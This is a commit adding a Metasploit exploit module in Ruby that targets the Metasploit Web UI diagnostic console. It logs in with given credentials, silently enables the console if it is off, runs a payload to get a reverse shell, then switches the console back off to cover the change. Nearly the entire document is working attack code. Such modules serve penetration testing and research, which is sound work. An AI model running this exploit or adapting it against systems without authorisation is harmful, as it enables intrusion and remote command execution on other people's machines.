Land #7268, add metasploit_webui_console_command_execution post-auth exploit
commit
9f3c8c7eee
|
@ -0,0 +1,285 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Metasploit Web UI Diagnostic Console Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits the "diagnostic console" feature in the Metasploit
|
||||
Web UI to obtain a reverse shell.
|
||||
|
||||
The diagnostic console is able to be enabled or disabled by an
|
||||
administrator on Metasploit Pro and by an authenticated user on
|
||||
Metasploit Express and Metasploit Community. When enabled, the
|
||||
diagnostic console provides access to msfconsole via the web interface.
|
||||
An authenticated user can then use the console to execute shell
|
||||
commands.
|
||||
|
||||
NOTE: Valid credentials are required for this module.
|
||||
|
||||
Tested against:
|
||||
|
||||
Metasploit Community 4.1.0,
|
||||
Metasploit Community 4.8.2,
|
||||
Metasploit Community 4.12.0
|
||||
},
|
||||
'Author' => [ 'Justin Steven' ], # @justinsteven
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' => { 'PayloadType' => 'cmd' },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Unix',
|
||||
{
|
||||
'Platform' => [ 'unix' ]
|
||||
}
|
||||
],
|
||||
[ 'Windows',
|
||||
{
|
||||
'Platform' => [ 'windows' ]
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Aug 23 2016'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('SSL', [ true, 'Use SSL', true ]),
|
||||
OptPort.new('RPORT', [ true, '', 3790 ]),
|
||||
OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]),
|
||||
OptString.new('USERNAME', [ true, 'The user to authenticate as' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def do_login()
|
||||
|
||||
print_status('Obtaining cookies and authenticity_token')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'login'),
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::NotFound, 'Failed to retrieve login page')
|
||||
end
|
||||
|
||||
unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/
|
||||
fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?")
|
||||
end
|
||||
|
||||
authenticity_token = $1
|
||||
session = res.get_cookies
|
||||
|
||||
print_status('Logging in')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'user_sessions'),
|
||||
'cookie' => session,
|
||||
'vars_post' =>
|
||||
{
|
||||
'utf8' => '\xE2\x9C\x93',
|
||||
'authenticity_token' => authenticity_token,
|
||||
'user_session[username]' => datastore['USERNAME'],
|
||||
'user_session[password]' => datastore['PASSWORD'],
|
||||
'commit' => 'Sign in'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::NotFound, 'Failed to log in')
|
||||
end
|
||||
|
||||
return res.get_cookies, authenticity_token
|
||||
|
||||
end
|
||||
|
||||
def get_console_status(session)
|
||||
|
||||
print_status('Getting diagnostic console status and profile_id')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'settings'),
|
||||
'cookie' => session,
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id')
|
||||
end
|
||||
|
||||
unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to get profile_id')
|
||||
end
|
||||
|
||||
profile_id = $1
|
||||
|
||||
if res.body =~ /<input\W+.*\b(id="allow_console_access"\W+.*\bchecked="checked"|checked="checked"\W+.*\bid="allow_console_access")/
|
||||
console_status = true
|
||||
elsif res.body =~ /<input\W+.*\bid="allow_console_access"/
|
||||
console_status = false
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status')
|
||||
end
|
||||
|
||||
print_good("Console is currently: #{console_status ? 'Enabled' : 'Disabled'}")
|
||||
|
||||
return console_status, profile_id
|
||||
|
||||
end
|
||||
|
||||
def set_console_status(session, authenticity_token, profile_id, new_console_status)
|
||||
print_status("#{new_console_status ? 'Enabling' : 'Disabling'} diagnostic console")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'),
|
||||
'cookie' => session,
|
||||
'vars_post' =>
|
||||
{
|
||||
'utf8' => '\xE2\x9C\x93',
|
||||
'_method' => 'patch',
|
||||
'authenticity_token' => authenticity_token,
|
||||
'profile_id' => profile_id,
|
||||
'allow_console_access' => new_console_status,
|
||||
'commit' => 'Update Settings'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::NotFound, 'Failed to set status of diagnostic console')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def get_container_id(session, container_label)
|
||||
|
||||
container_label_singular = container_label.gsub(/s$/, "")
|
||||
|
||||
print_status("Getting ID of a valid #{container_label_singular}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, container_label),
|
||||
'cookie' => session,
|
||||
})
|
||||
|
||||
unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/
|
||||
print_warning("Failed to get a valid #{container_label_singular} ID")
|
||||
return
|
||||
end
|
||||
|
||||
container_id = $1
|
||||
|
||||
vprint_good("Got: #{container_id}")
|
||||
|
||||
container_id
|
||||
|
||||
end
|
||||
|
||||
def get_console(session, container_label, container_id)
|
||||
|
||||
print_status('Creating a console, getting its ID and authenticity_token')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'),
|
||||
'cookie' => session,
|
||||
})
|
||||
|
||||
unless res && res.headers['location']
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to get a console ID')
|
||||
end
|
||||
|
||||
console_id = res.headers['location'].split('/')[-1]
|
||||
|
||||
vprint_good("Got console ID: #{console_id}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
|
||||
'cookie' => session,
|
||||
})
|
||||
|
||||
unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token')
|
||||
end
|
||||
|
||||
console_authenticity_token = $1
|
||||
|
||||
return console_id, console_authenticity_token
|
||||
|
||||
end
|
||||
|
||||
def run_command(session, container_label, console_authenticity_token, container_id, console_id, command)
|
||||
|
||||
print_status('Running payload')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
|
||||
'cookie' => session,
|
||||
'vars_post' =>
|
||||
{
|
||||
'read' => 'yes',
|
||||
'cmd' => command,
|
||||
'authenticity_token' => console_authenticity_token,
|
||||
'last_event' => '0',
|
||||
'_' => ''
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::NotFound, 'Failed to run command')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
session, authenticity_token = do_login()
|
||||
|
||||
original_console_status, profile_id = get_console_status(session)
|
||||
|
||||
unless original_console_status
|
||||
set_console_status(session, authenticity_token, profile_id, true)
|
||||
end
|
||||
|
||||
if container_id = get_container_id(session, "workspaces")
|
||||
# target calls them "workspaces"
|
||||
container_label = "workspaces"
|
||||
elsif container_id = get_container_id(session, "projects")
|
||||
# target calls them "projects"
|
||||
container_label = "projects"
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.')
|
||||
end
|
||||
|
||||
console_id, console_authenticity_token = get_console(session, container_label,container_id)
|
||||
|
||||
run_command(session, container_label, console_authenticity_token,
|
||||
container_id, console_id, payload.encoded)
|
||||
|
||||
unless original_console_status
|
||||
set_console_status(session, authenticity_token, profile_id, false)
|
||||
end
|
||||
|
||||
handler
|
||||
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue